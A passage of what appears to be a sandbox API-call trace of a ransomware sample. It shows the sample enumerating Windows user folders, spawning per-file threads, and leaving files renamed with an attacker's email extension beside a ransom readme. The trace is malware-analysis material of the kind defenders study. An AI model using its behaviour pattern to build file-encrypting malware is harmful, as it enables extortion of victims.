lpFindFileData=0x2fe2848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x80973980, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WINRT-~1.D0E")) returned 0 [0168.830] FindClose (in: hFindFile=0x2f802e0 | out: hFindFile=0x2f802e0) returned 1 [0168.830] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2848) returned 1 [0168.830] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0168.830] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80720) returned 1 [0168.830] RtlExitUserThread (Status=0x0) Thread: id = 1728 os_tid = 0x2bc [0168.636] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f7ffa0 [0168.636] wcscpy (in: _Dest=0x2f7ffa0, _Source="C:\\Users\\FD1HVy\\SendTo" | out: _Dest="C:\\Users\\FD1HVy\\SendTo") returned="C:\\Users\\FD1HVy\\SendTo" [0168.636] wcscat (in: _Dest=0x2f7ffa0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\SendTo\\") returned="C:\\Users\\FD1HVy\\SendTo\\" [0168.636] wcscat (in: _Dest=0x2f7ffa0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\SendTo\\*") returned="C:\\Users\\FD1HVy\\SendTo\\*" [0168.636] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2ab0 [0168.636] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\SendTo\\*", lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.636] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2ab0) returned 1 [0168.636] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7ffa0) returned 1 [0168.636] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0168.636] RtlExitUserThread (Status=0x0) Thread: id = 1729 os_tid = 0x2d0 [0168.638] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87668 [0168.638] wcscpy (in: _Dest=0x2f87668, _Source="C:\\Users\\FD1HVy\\Start Menu" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu") returned="C:\\Users\\FD1HVy\\Start Menu" [0168.638] wcscat (in: _Dest=0x2f87668, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu\\") returned="C:\\Users\\FD1HVy\\Start Menu\\" [0168.638] wcscat (in: _Dest=0x2f87668, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu\\*") returned="C:\\Users\\FD1HVy\\Start Menu\\*" [0168.638] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2ab0 [0168.638] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Start Menu\\*", lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.638] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2ab0) returned 1 [0168.638] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87668) returned 1 [0168.638] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808a0) returned 1 [0168.638] RtlExitUserThread (Status=0x0) Thread: id = 1730 os_tid = 0xb48 [0168.641] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2f808a0 [0168.641] wcscpy (in: _Dest=0x2f808a0, _Source="C:\\Users\\FD1HVy\\Templates" | out: _Dest="C:\\Users\\FD1HVy\\Templates") returned="C:\\Users\\FD1HVy\\Templates" [0168.641] wcscat (in: _Dest=0x2f808a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Templates\\") returned="C:\\Users\\FD1HVy\\Templates\\" [0168.641] wcscat (in: _Dest=0x2f808a0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Templates\\*") returned="C:\\Users\\FD1HVy\\Templates\\*" [0168.642] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2ab0 [0168.642] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Templates\\*", lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.642] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2ab0) returned 1 [0168.642] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808a0) returned 1 [0168.642] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808e0) returned 1 [0168.642] RtlExitUserThread (Status=0x0) Thread: id = 1731 os_tid = 0x320 [0168.643] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f808a0 [0168.643] wcscpy (in: _Dest=0x2f808a0, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0168.643] wcscat (in: _Dest=0x2f808a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0168.643] wcscat (in: _Dest=0x2f808a0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\*") returned="C:\\Users\\FD1HVy\\Videos\\*" [0168.643] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2ab0 [0168.643] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\*", lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x808db27a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x808db27a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808e0 [0168.643] wcscmp (_String1=".", _String2=".") returned 0 [0168.644] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x808db27a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x808db27a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.644] wcscmp (_String1="..", _String2=".") returned 1 [0168.644] wcscmp (_String1="..", _String2="..") returned 0 [0168.644] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8086898c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8086898c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8086898c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.644] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.644] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.644] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.644] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.644] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.644] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6beec0, ftCreationTime.dwHighDateTime=0x1d4d332, ftLastAccessTime.dwLowDateTime=0x14eac940, ftLastAccessTime.dwHighDateTime=0x1d4ccc2, ftLastWriteTime.dwLowDateTime=0x8086898c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xdec1, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="IECB0V~1.D0E")) returned 1 [0168.644] wcscmp (_String1="iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.644] wcscmp (_String1="iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.644] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fe39a0 [0168.644] wcscpy (in: _Dest=0x2fe39a0, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0168.644] wcscat (in: _Dest=0x2fe39a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0168.644] wcscat (in: _Dest=0x2fe39a0, _Source="iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731" [0168.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe39a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0168.821] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x536c7e20, ftCreationTime.dwHighDateTime=0x1d4d005, ftLastAccessTime.dwLowDateTime=0x73126d20, ftLastAccessTime.dwHighDateTime=0x1d4d4ba, ftLastWriteTime.dwLowDateTime=0x808b5023, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x25db, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="Q8UHQ0~1.D0E")) returned 1 [0168.821] wcscmp (_String1="Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.821] wcscmp (_String1="Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.821] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x88) returned 0x2f83288 [0168.821] wcscpy (in: _Dest=0x2f83288, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0168.821] wcscat (in: _Dest=0x2f83288, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0168.821] wcscat (in: _Dest=0x2f83288, _Source="Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731" [0168.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0168.822] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1748c160, ftCreationTime.dwHighDateTime=0x1d4d460, ftLastAccessTime.dwLowDateTime=0x828459a9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828459a9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoW TDWhGpVPO4A", cAlternateFileName="SOWTDW~1")) returned 1 [0168.822] wcscmp (_String1="SoW TDWhGpVPO4A", _String2=".") returned 1 [0168.822] wcscmp (_String1="SoW TDWhGpVPO4A", _String2="..") returned 1 [0168.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2f889f8 [0168.822] wcscpy (in: _Dest=0x2f889f8, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0168.822] wcscat (in: _Dest=0x2f889f8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0168.822] wcscat (in: _Dest=0x2f889f8, _Source="SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0168.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f889f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0168.822] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c661b0, ftCreationTime.dwHighDateTime=0x1d4d42e, ftLastAccessTime.dwLowDateTime=0x82ac4ef0, ftLastAccessTime.dwHighDateTime=0x1d4c8c5, ftLastWriteTime.dwLowDateTime=0x808db27a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18db1, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="XVHH3H~1.D0E")) returned 1 [0168.822] wcscmp (_String1="XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.822] wcscmp (_String1="XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.823] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fed9b8 [0168.823] wcscpy (in: _Dest=0x2fed9b8, _Source="C:\\Users\\FD1HVy\\Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0168.823] wcscat (in: _Dest=0x2fed9b8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0168.823] wcscat (in: _Dest=0x2fed9b8, _Source="XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731" [0168.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fed9b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0168.823] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2fe2ab0 | out: lpFindFileData=0x2fe2ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c661b0, ftCreationTime.dwHighDateTime=0x1d4d42e, ftLastAccessTime.dwLowDateTime=0x82ac4ef0, ftLastAccessTime.dwHighDateTime=0x1d4c8c5, ftLastWriteTime.dwLowDateTime=0x808db27a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18db1, dwReserved0=0x0, dwReserved1=0x0, cFileName="XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="XVHH3H~1.D0E")) returned 0 [0168.823] FindClose (in: hFindFile=0x2f808e0 | out: hFindFile=0x2f808e0) returned 1 [0168.823] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2ab0) returned 1 [0168.823] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808a0) returned 1 [0168.823] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013600) returned 1 [0168.823] RtlExitUserThread (Status=0x0) Thread: id = 1732 os_tid = 0x394 [0168.644] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f67c30 [0168.645] wcscpy (in: _Dest=0x2f67c30, _Source="C:\\Users\\Default.migrated\\Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents" [0168.645] wcscat (in: _Dest=0x2f67c30, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\") returned="C:\\Users\\Default.migrated\\Documents\\" [0168.645] wcscat (in: _Dest=0x2f67c30, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\*") returned="C:\\Users\\Default.migrated\\Documents\\*" [0168.645] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2d18 [0168.645] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\*", lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ffa0 [0168.648] wcscmp (_String1=".", _String2=".") returned 0 [0168.648] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.648] wcscmp (_String1="..", _String2=".") returned 1 [0168.648] wcscmp (_String1="..", _String2="..") returned 0 [0168.648] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99a3d0f, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99a3d0f, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99a3d0f, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0168.648] wcscmp (_String1="My Music", _String2=".") returned 1 [0168.648] wcscmp (_String1="My Music", _String2="..") returned 1 [0168.648] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87af8 [0168.648] wcscpy (in: _Dest=0x2f87af8, _Source="C:\\Users\\Default.migrated\\Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents" [0168.648] wcscat (in: _Dest=0x2f87af8, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\") returned="C:\\Users\\Default.migrated\\Documents\\" [0168.648] wcscat (in: _Dest=0x2f87af8, _Source="My Music" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Music") returned="C:\\Users\\Default.migrated\\Documents\\My Music" [0168.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87af8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0168.814] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0168.814] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0168.814] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0168.814] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87dd0 [0168.814] wcscpy (in: _Dest=0x2f87dd0, _Source="C:\\Users\\Default.migrated\\Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents" [0168.814] wcscat (in: _Dest=0x2f87dd0, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\") returned="C:\\Users\\Default.migrated\\Documents\\" [0168.814] wcscat (in: _Dest=0x2f87dd0, _Source="My Pictures" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Pictures") returned="C:\\Users\\Default.migrated\\Documents\\My Pictures" [0168.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0168.815] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0168.815] wcscmp (_String1="My Videos", _String2=".") returned 1 [0168.815] wcscmp (_String1="My Videos", _String2="..") returned 1 [0168.815] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87e38 [0168.815] wcscpy (in: _Dest=0x2f87e38, _Source="C:\\Users\\Default.migrated\\Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents" [0168.815] wcscat (in: _Dest=0x2f87e38, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\") returned="C:\\Users\\Default.migrated\\Documents\\" [0168.815] wcscat (in: _Dest=0x2f87e38, _Source="My Videos" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Videos") returned="C:\\Users\\Default.migrated\\Documents\\My Videos" [0168.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87e38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0168.816] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fe2d18 | out: lpFindFileData=0x2fe2d18*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0168.816] FindClose (in: hFindFile=0x2f7ffa0 | out: hFindFile=0x2f7ffa0) returned 1 [0168.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2d18) returned 1 [0168.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67c30) returned 1 [0168.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1450) returned 1 [0168.817] RtlExitUserThread (Status=0x0) Thread: id = 1733 os_tid = 0x3d8 [0168.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7ffe0 [0168.652] wcscpy (in: _Dest=0x2f7ffe0, _Source="C:\\Users\\Default\\Cookies" | out: _Dest="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0168.652] wcscat (in: _Dest=0x2f7ffe0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0168.652] wcscat (in: _Dest=0x2f7ffe0, _Source="*" | out: _Dest="C:\\Users\\Default\\Cookies\\*") returned="C:\\Users\\Default\\Cookies\\*" [0168.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1038 [0168.652] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.652] RtlFreeHeap (HeapHandle=0x2f60000, 